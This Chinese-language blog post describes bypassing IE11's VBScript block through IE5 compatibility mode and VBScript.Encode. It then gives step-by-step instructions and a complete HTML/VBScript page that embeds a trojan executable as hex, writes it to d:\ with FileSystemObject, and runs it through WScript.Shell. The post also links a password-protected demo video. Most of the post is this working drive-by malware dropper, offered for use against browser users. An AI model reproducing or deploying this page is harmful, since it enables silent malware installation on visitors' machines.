微软在发布internet explore 11时,基于相关安全措施,基于IE11的浏览器无法执行vbscript代码,详情如下文:
https://blogs.windows.com/msedgedev/2017/07/07/update-disabling-vbscript-internet-explorer-11/
然而,最近我在编写html代码时,偶然发现新版本的ie浏览器依然兼容旧版本的vbscript,通过在头部文件加入IE5兼容模式,并且在script标签插入旧版本的vb(VBScript.Encode),如下图:
最终的运行结果如下:
可以看到使用IE5兼容模式可以成功在ie11浏览器下执行vb代码。因此,基于上述方法,可将一个木马exe文件转换成16进制文件并通过vb执行并最终可以运行在IE11版本下。
1.将木马转换成16进制字符,并去掉中间空格
2.通过CreateObject函数创建对象:
Set objFSO = CreateObject("Scripting.FileSystemObject")
3.通过CreateTextFile函数创建文件:
Dim objTextFile
Set objTextFile = objFSO.CreateTextFile("d:\Testfile.bat")
4.将16进制文件转换成字符串文件,由于16进制文件是每两个数字组成一个字符,因此在遍历16进制文件时需要将每两个数字作为一组遍历一次:
For i = 1 To Len(w) Step 2
objTextFile.Write Chr(CLng("&H" & Mid(w,i,2)))
5.通过CreateObject函数创建WScript.Shell文件并执行最终的exe文件
Set WS= CreateObject("WScript.Shell")
WS.Run "d:/Testfile.exe"
最终的代码如下:
<html> <meta http-equiv="x-ua-compatible" content="IE=5"> <body> <script language="VBScript.Encode"> Dim w w = "16hex of exe data" Dim objFSO Set objFSO = CreateObject("Scripting.FileSystemObject") Dim objTextFile Set objTextFile = objFSO.CreateTextFile("d:\Testfile.exe") For i = 1 To Len(w) Step 2 objTextFile.Write Chr(CLng("&H" & Mid(w,i,2))) Next objTextFile.close Set WS= CreateObject("WScript.Shell") WS.Run "d:/Testfile.exe" </script> <p>This is web page body </p> </body> </html>
相关演示视频如下:
https://v.youku.com/v_show/id_XNDQ1NTMwNjg3Ng==.html?spm=a2h3j.8428770.3416059.1
密码: microsoft123